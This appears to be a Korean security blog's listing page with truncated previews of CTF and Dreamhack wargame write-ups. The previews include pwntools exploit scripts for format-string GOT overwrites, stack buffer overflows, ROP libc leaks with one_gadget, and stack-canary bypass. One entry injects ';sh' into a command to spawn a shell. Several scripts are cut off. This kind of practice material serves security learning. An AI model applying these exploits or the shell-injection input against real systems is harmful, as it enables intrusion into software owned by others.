anonymous?

sprintf 취약점 : printf() 함수와 같다. 결과를 표준출력으로 출력하지 않고 문자열로 출력한다. 1번째에서 AAAA가 출력된다. offset = 1 실행해서 return address 위치를 출력해보면 그냥 0x29 = 40 위치이다. 이 위치에 넣으면 된다. 0xa4 – 4 = 0xa0 (ret 전까지) 0xa0 – %???c 위에서 offset 잘못 구했었다. 그냥 156이므로 이 156을 %156c로 넣고 이 위치에 p32(get_shell)을 넣으면 된다. #!/usr/bin/python from pwn import * #p = process("./basic_exploitation_003") p = remote("host1.dreamhack.games", 8239) elf = ELF(..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:17

offset = 1 offset에서 return address까지 거리 계산 : 0x21 #!/usr/bin/python from pwn import * #p = process("./basic_exploitation_002") p = remote("host1.dreamhack.games", 8239) elf = ELF("./basic_exploitation_002") get_shell = elf.symbols['get_shell'] exit_got = elf.got['exit'] # offset = 1 p.sendline(fmtstr_payload(1, {exit_got: get_shell})) p.interactive() #!/usr/bin/python from pwn import * p = proce..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:14

#!/usr/bin/python from pwn import * #p = process("./basic_exploitation_001") p = remote("host1.dreamhack.games", 8239) elf = ELF("./basic_exploitation_001") read_flag = elf.symbols['read_flag'] p.sendline('A'*(0x80+4) + p32(read_flag)) p.interactive()

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:10

#!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./basic_rop_x86") p = remote("host1.dreamhack.games", 8235) elf = ELF("./basic_rop_x86") libc = ELF("./libc.so.6") pop_ebx = 0x80486a6 pay = 'A'*(0x44+0x4) pay += p32(elf.plt['puts']) + p32(pop_ebx) + p32(elf.got['puts']) pay += p32(elf.symbols['main']) p.send(pay) p.recvuntil('A'*0x40) leak = u32(p.recvuntil('\xf7')) ..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:09

A까지 받으려고 했는데 잘 안돼서 하위 3바이트 offset은 똑같을 것이므로(?) ‘\x90’까지 받고 뒤에 \x90 붙이고 앞에 \x00\x00을 붙여서 leak을 했고 libc base 구한 후 one gadget off를 더해서 one gadget을 구했다. 그리고 return address->onegadget하면 쉘 획득! #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./basic_rop_x64") p = remote("host1.dreamhack.games", 8248) elf = ELF("./basic_rop_x64") libc = elf.libc pop_rdi = 0x00400883 pay = '..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 11:06

코드에서 v5가 0이 아니면 exit을 한다. 따라서 buf(24) | v5(8) | SFP(8) | RET(8) 구조인데 ‘A’*24 + p64(0) + ‘B”*8 + p64(one_gadget)으로 페이로드를 줘서 if 조건을 넘어가고 return 0로 리턴하도록 한다. #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./oneshot") p = remote("host1.dreamhack.games", 8246) elf = ELF("./oneshot") libc = ELF("./libc.so.6") one_gadget_off = [0x45216, 0x4526a, 0xf02a4, 0xf1147] p.recvunt..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 10:55

32비트에서 size_t는 4바이트. int형은 항상 4바이트 __int16은 16-bit 정수이다. short형과 동의어이다. 2바이트 P 메뉴에서 취약점 : v7 변수에서 index만큼 위치한 곳의 값을 출력해준다. canary 위치와의 offset을 계산하여 인덱스를 구하면 canary leak이 가능하다. E 메뉴에서 취약점 : nbytes 크기 정해져 있지 않으므로 v8에서 BOF 취약점 발생. P에서 canary leak 후 E에서 canary 위치에 canary 주고 return address에 get_shell 주면 된다. unsigned __int8 = 1바이트 따라서 0x41이 한 인덱스 카나리 위치까지는 0x84일 것. 1. 카나리 leak하는 방법 한 바이트씩 str로 출력되므로 처..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 10:53

이 문제 생각 많이 했는데 카나리를 leak해서 return address를 get_shell로 덮는 복잡한 방법이 아니라 카나리 변조 시 __stack_chk_fail 함수가 호출되는 것을 이용해서 카나리를 덮은 후 v4에 __stack_chk_fail got를 주고 v5에 get_shell 주소를 주면 종료 시 get_shell이 실행되어 쉘이 따진다. #!/usr/bin/python from pwn import * context.log_level = 'debug' #p = process("./ssp_000") p = remote("host1.dreamhack.games", 8244) elf = ELF("./ssp_000") get_shell = elf.symbols['get_shell'] p.sen..

SYSTEM HACKING/Dreamhack 2020. 5. 31. 10:50

from pwn import * p = process("./rop-fa6168f4d8eba0eb") not_called = 0x8048a4 pay = 'A'*0x88 + 'B'*4 + p32(not_called) p.send(pay) p.interactive()

SYSTEM HACKING/CTF, etc 2020. 5. 31. 10:47

일단 sh를 쉘에 입력하면 쉘이 뜨는 것을 알고 sh 명령어를 사용할 수 있으면 되겠다고 생각했다. 근데 ls %s 로 명령어를 실행해서 어떻게 하면 ls한 후 sh를 실행하도록 할까 시도를 계속해보다가 ls ; sh 로 입력하면 ls 명령어를 실행한 후 sh 명령어를 실행하도록 할 수 있었다. 따라서 입력할 때 ;sh로 주면 ls ;sh로 명령어가 실행되서 쉘을 실행시킬 수 있다. #!/usr/bin/python from pwn import * p = process("./pwn5") p.sendafter("pass to ls:\n", ';sh') p.interactive() ; sh로 주면 h가 잘려서 ;sh로 붙여서 줘야 제대로 쉘이 따진다.

SYSTEM HACKING/CTF, etc 2020. 5. 31. 10:44

스택은 임시 데이터를 저장하는 공간이다. 메모리에서 계속 데이터를 가져오기보다, 스택에 저장해서 접근하는 방식이다. 빈번하게 사용하는 데이터를 레지스터에 넣는다. 함수 프롤로그와 에필로그에서 스택 포인터를 조정한 후, 스택 포인터를 사용해서 데이터를 push하고 pop한다. x86 Stack Frame Intel x86 Stack Frame은 아래로 커진다. (high address -> low address 방향으로) 즉, 메모리 상의 임의의 주소부터 더 낮은 주소 아래로 자란다. 따라서 x86에서 스택의 맨 위를 말한다면 스택이 메모리에서 차지하는 주소의 공간 중 가장 낮은 곳을 말한다. (가장 낮은 주소) x86에서는 ESP(Extended Stack Pointer) 레지스터가 스택과 함께 작동한다..

SYSTEM HACKING/Exploit Tech 2020. 5. 30. 16:22

int read_input() { int buf; // [rsp+0h] [rbp-10h] buf = 0; read(0, &buf, 8uLL); return atoi((const char *)&buf); } int menu() { puts("1. vuln"); puts("2. print"); puts("3. quit"); return printf("> "); } int useful_function() { void *v0; // ST08_8 v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "printf"); return printf("printf() addr: %p\n", v0); } int Init() { setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(..

SYSTEM HACKING/CTF, etc 2020. 5. 28. 15:00